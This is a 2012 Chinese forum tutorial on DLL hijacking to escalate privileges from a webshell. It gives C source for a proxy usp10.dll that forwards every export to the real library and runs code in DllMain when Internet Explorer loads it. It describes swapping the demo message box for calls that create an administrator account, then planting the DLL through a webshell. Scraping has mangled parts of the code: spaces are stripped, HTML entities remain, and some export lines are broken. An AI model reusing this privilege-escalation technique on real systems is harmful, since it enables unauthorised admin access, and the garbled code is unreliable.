基于DLL劫持的WebShell提权

[复制链接]
查看282 | 回复0 | 2012-4-1 19:23:52 | 显示全部楼层 |阅读模式
●DLL劫持产生的原因●
先来看一下,DLL劫持的原因。

1、Windows的DLL称为动态链接库,动态链接库技术的本质实际上是将可执行文件与库文件分离,DLL库文件通过导出表提供API接口,PE加载器通过exe文件的导入表加载相应的DLL,并根据exe文件中的INT查询DLL中的函数地址,同时写入IAT。

2、当PE加载器根据exe文件的导入表加载DLL文件时,它会按照程序的当前目录-->system32目录-->windows目录-->ATH环境变量设置的目录来依次查找要加载的DLL文件。因此,我们可以在伪造一个导入表同名的DLL文件,放置到exe文件的目录中,让PE加载器加载我们伪造的DLL文件,从而实现劫持。

3、DLL的转发器功能为我们提供了必要的条件,所谓DLL转发器功能是将对某个DLL文件的导出函数调用转到另一个DLL文件的导出函数中。类似于下面的代码:


//xxx.dll

#pragmacomment(linker,"/EXPORT:MessageBoxA=user32.MessageBoxA")


即xxx.dll中有一个MessageBoxA导出函数,当调用xxx.dll中的MessageBoxA时,实际上调用的是user32.dll中的导出函数MessageBoxA。如果我们伪造exe文件所加载DLL中的一个并将伪造的DLL文件放置在exe文件目录中,同时转发其所有的函数调用(转发到正常的系统DLL文件函数调用中),就可以做一些有意思的事情。
●实战●
上面是理论,下面来实践一下,以Win2003为例,定位到Iexplore.exe的目录,随便建立一个文件命名为usp10.dll,然后运行iexplore.exe
直接运行IE提示出错
基本可以确定iexplore.exe加载usp10.dll,要确定一个可执行文件加载哪些DLL有时候单纯的查看导入表是不可取的,最好的办法用OD加载程序,ALT+L查看加载记录,2所示,但是需要注意一点,系统的一些关键DLL比如kernel32.dll、ntdll.dll无法劫持。


编写如下dll文件:


//伪造的usp10.dll

#include<windows.h>

//转发usp10.dll中的所有函数

#pragmacomment(linker,&quot;/EXPORTpkPresent=usp10.LpkPresent,@1&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptApplyDigitSubstitution=usp10.ScriptApplyDigitSubstitution,@2&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptApplyLogicalWidth=usp10.ScriptApplyLogicalWidth,@3&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptBreak=usp10.ScriptBreak,@4&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptCPtoX=usp10.ScriptCPtoX,@5&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptCacheGetHeight=usp10.ScriptCacheGetHeight,@6&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptFreeCache=usp10.ScriptFreeCache,@7&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptGetCMap=usp10.ScriptGetCMap,@8&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptGetFontProperties=usp10.ScriptGetFontProperties,@9&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptGetGlyphABCWidth=usp10.ScriptGetGlyphABCWidth,@10&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptGetLogicalWidths=usp10.ScriptGetLogicalWidths,@11&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptGetProperties=usp10.ScriptGetProperties,@12&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptIsComplex=usp10.ScriptIsComplex,@13&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptItemize=usp10.ScriptItemize,@14&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptJustify=usp10.ScriptJustify,@15&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptLayout=usp10.ScriptLayout,@16&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptPlace=usp10.ScriptPlace,@17&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptRecordDigitSubstitution=usp10.ScriptRecordDigitSubstitution,@18&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptShape=usp10.ScriptShape,@19&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringAnalyse=usp10.ScriptStringAnalyse,@20&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringCPtoX=usp10.ScriptStringCPtoX,@21&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringFree=usp10.ScriptStringFree,@22&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringGetLogicalWidths=usp10.ScriptStringGetLogicalWidths,@23&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringGetOrder=usp10.ScriptStringGetOrder,@24&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringOut=usp10.ScriptStringOut,@25&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringValidate=usp10.ScriptStringValidate,@26&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptStringXtoCP=usp10.ScriptStringXtoCP,@27&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptString_pLogAttr=usp10.ScriptString_pLogAttr,@28&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptString_pSize=usp10.ScriptString_pSize,@29&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptString_pcOutChars=usp10.ScriptString_pcOutChars,@30&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptTextOut=usp10.ScriptTextOut,@31&quot;)

#pragmacomment(linker,&quot;/EXPORT:ScriptXtoCP=usp10.ScriptXtoCPScriptXtoCP,@32&quot;)

#pragmacomment(linker,&quot;/EXPORT:UspAllocCache=usp10.UspAllocCache,@33&quot;)

#pragmacomment(linker,&quot;/EXPORT:UspAllocTemp=usp10.UspAllocTemp,@34&quot;)

#pragmacomment(linker,&quot;/EXPORT:UspFreeMem=usp10.UspFreeMem,@35&quot;)

BOOLAPIENTRYDllMain(HANDLEhModule,

DWORDdwReason,

LPVOIDlpReserved

)

{

switch(dwReason)

{

caseDLL_PROCESS_ATTACH://当DLL被加载时会弹出成功的提示框

MessageBox(NULL,TEXT(&quot;成功&quot;),TEXT(&quot;成功&quot;),MB_OK);
}
returnTRUE;

}


将生成的dll文件命名为usp10.dll保存到iexplore的目录下,运行iexplore.exe
IE加载了usp10.dll
再次用OD打开程序,ALT+L,伪造的DLL被加载了。
OD中证实IE加载了usp10.dll
这里只是一个演示的例子,如果我们调用Netapi32.dll中的NetUserAdd和NetLocalGorupAddMembers函数,就可以添加一个管理员的账号。在得到Webshell中只要iexplore.exe的目录具有写权限,就可以将usp10.dll上传到该目录,管理员只要用iexplore.exe上网,提权也就成功了。同样这里的usp10.dll也只是一个示例,系统中实际上有很多DLL都可以被伪造,比如ws2_32.dll,很多网络程序都会调用此DLL中的函数。
通过本文也不难发现,权限设置依然是系统安全的重要一环。
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则